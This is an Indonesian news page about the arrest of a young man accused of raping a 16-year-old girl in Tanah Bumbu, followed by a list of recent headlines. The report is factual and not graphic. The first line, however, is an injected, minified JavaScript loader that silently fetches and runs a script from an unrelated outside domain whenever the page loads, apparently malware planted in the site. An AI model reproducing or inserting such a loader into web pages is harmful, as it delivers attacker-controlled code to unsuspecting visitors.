(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

MID Diringkus Polisi Gauli Paksa Anak di Bawah Umur


KANALKALIMANTAN.COM, BATULICIN – Gauli anak gadis di bawah umur, seorang pemuda berinisial MID di Jalan Kodeco Km 64 RT 08 RW 02 Desa Gunung Raya, Kecamatan Mantewe, Kabupaten Tanah Bumbu, diringkus polisi pada Selasa (13/9/2022) malam.

Pemuda tersebut diamankan petugas gabungan dari Unit Resmob Satreskrim Polres Tanah Bumbu, Unit Kamneg Sat Intelkam Polres Tanah Bumbu dan Unit Reskrim Polsek Mantewe, dipimpin Kapolsek Mantewe Iptu Danang Eko Prasetyo SSos.

Kapolres Tanbu AKBP Tri Hambodo SIK melalui Kasi Humas Polres Tanbu AKP I Made Rasa mengatakan, pencabulan terjadi pada hari Minggu 4 September 2022 sekitar pukul 17.30 di rumah salah seorang warga berinisial M di Kecamatan Mantewe.

Baca juga: Soal Pemindahan Ibu Kota Kalsel, Penggugat Yakin Banjarmasin Menang!

 

 

Saat itu, korban yang baru berusia 16 tahun ini bertemu dengan MID saat sedang bermain di rumah M.

“Pelaku kemudian langsung memeluk korban dan membaringkan korban di dalam kamar, serta membuka pakaian korban. Saat itu korban sempat menolak namun diancam akan dibunuh, sehingga korban menuruti kemauan pelaku,” kata AKP I Made.

Korban kemudian menceritakan kejadian malang yang dialaminya tersebut kepada ibunya. Gadis berusia 16 tahun mengaku telah diperkosa oleh MID.

“Mendapat laporan dari orang tua korban, petugas penyidik Polsek Mantewe langsung memproses dengan melakukan penyelidikan,” imbuhnya.

Baca juga: Tiga Proyek Pembangunan di Banjarbaru Berkategori ‘Lelet’

Polisi berhasil mendapatkan barang bukti tindak asusila berupa satu lembar baju lengan panjang warna kuning, satu lembar celana panjang warna kuning serta satu lembar celana dalam warna biru.

Berangkat dari laporan korban, petugas gabungan akhirnya meringkus MID.

Pemuda berambut pirang ini dijerat dengan tindak pidana pencabulan terhadap anak sebagaimana yang dimaksud dalam Pasal 82 Ayat (1) UU RI Nomor 35 Tahun 2014 Peraturan perundang-undangan Nomor 1 Tahun 2016 tentang perubahan kedua UU RI Nomor 23 Tahun 2002 tentang Perlindungan Anak yang telah ditetapkan sebagai UU Nomor 17 Tahun 2016. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.